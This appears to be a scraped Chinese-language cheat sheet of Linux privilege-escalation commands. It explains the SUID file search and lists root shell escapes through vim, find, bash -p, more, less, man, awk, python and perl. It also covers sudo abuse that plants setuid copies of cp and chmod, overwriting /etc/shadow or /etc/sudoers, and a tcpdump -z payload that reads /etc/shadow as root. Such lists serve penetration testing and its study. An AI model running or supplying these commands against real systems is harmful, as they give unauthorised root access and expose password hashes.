1

2

3

4

5

6

7

8

9

10

11

find / -perm -u=s -type f 2>/dev/null

/表示从文件系统的顶部（根）开始并找到每个目录

-perm 表示搜索随后的权限

-u = s表示查找root用户拥有的文件

-type表示我们正在寻找的文件类型

f 表示常规文件，而不是目录或特殊文件

2表示该进程的第二个文件描述符，即stderr（标准错误）

>表示重定向

/ dev / null是一个特殊的文件系统对象，它将丢弃写入其中的所有内容。

1

2

3

4

vim.tiny

# Press ESC key

:set shell=/bin/sh

:shell

1

2

touch pentestlab

find pentestlab -exec whoami \;

1

2

3

bash -p

bash-3.2# id

uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

1

2

more /home/pelle/myfile

!/bin/bash

1

2

less /etc/passwd

!/bin/sh

1

sudo sh -c 'cp $(which cp) .; chmod +s ./cp'

1

sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'

1

sudo ash

1

awk 'BEGIN {system("/bin/bash")}'

1

使用mv 覆盖 /etc/shadow 或者/etc/sudoers

1

2

man passwd

!/bin/bash

1

2

import os

os.system("/bin/bash")

1

exec "/bin/bash";

1

2

3

echo $'id\ncat /etc/shadow' > /tmp/.test

chmod +x /tmp/.test

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root